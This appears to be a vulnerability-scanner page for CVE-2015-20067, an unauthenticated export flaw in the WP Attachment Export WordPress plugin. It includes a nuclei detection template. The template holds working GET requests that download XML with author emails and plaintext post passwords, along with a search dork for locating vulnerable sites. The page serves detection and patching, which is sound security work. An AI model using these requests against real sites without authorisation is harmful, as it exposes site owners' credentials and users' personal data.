WP Attachment Export < 0.2.4 - Unrestricted File Download

highseverity

7.5CVSS score

7.7%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

The plugin does not have proper access controls, allowing unauthenticated users to download the XML data that holds all the details of attachments/posts on a Wordpress powered site. This includes details of even privately published posts and password protected posts with their passwords revealed in plain text.

Impact

Unauthenticated attackers can download XML files containing sensitive attachment and post metadata including titles, author IDs, email addresses, and plaintext passwords for password-protected posts, potentially exposing confidential information and credentials from the WordPress site.

Fix

Fixed in 0.2.4

How to confirm it

Send: GET {{BaseURL}}/wp-admin/tools.php?content=attachment&wp-attachment-export-download=true ; GET {{BaseURL}}/wp-admin/tools.php?content=&wp-attachment-export-download=true
Positive when: status_code == 200 and contains(header, "text/xml") and contains_all(body, "title","wp:author_id","wp:author_email")

Run it with nuclei: nuclei -id CVE-2015-20067 -u <target>

The full check

id: CVE-2015-20067

info:
  name: WP Attachment Export < 0.2.4 - Unrestricted File Download
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not have proper access controls, allowing unauthenticated users to download the XML data that holds all the details of attachments/posts on a Wordpress
    powered site. This includes details of even privately published posts and password protected posts with their passwords revealed in plain text.
  impact: |
    Unauthenticated attackers can download XML files containing sensitive attachment and post metadata including titles, author IDs, email addresses, and plaintext passwords for password-protected posts, potentially exposing confidential information and credentials from the WordPress site.
  remediation: |
    Fixed in 0.2.4
  reference:
    - https://wpscan.com/vulnerability/d1a9ed65-baf3-4c85-b077-1f37d8c7793a
    - https://packetstormsecurity.com/files/132693/
    - https://seclists.org/fulldisclosure/2015/Jul/73
    - https://nvd.nist.gov/vuln/detail/CVE-2015-20067
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-20067
    cwe-id: CWE-862
    epss-score: 0.07729
    epss-percentile: 0.94668
    cpe: cpe:2.3:a:wp_attachment_export_project:wp_attachment_export:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wp_attachment_export_project
    product: wp_attachment_export
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-attachment-export/"
  tags: wpscan,packetstorm,seclists,cve,cve2015,wordpress,wp,wp-plugin,unauth,wp-attachment-export,wp_attachment_export_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/tools.php?content=attachment&wp-attachment-export-download=true"
      - "{{BaseURL}}/wp-admin/tools.php?content=&wp-attachment-export-download=true"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/xml")'
          - 'contains_all(body, "title","wp:author_id","wp:author_email")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from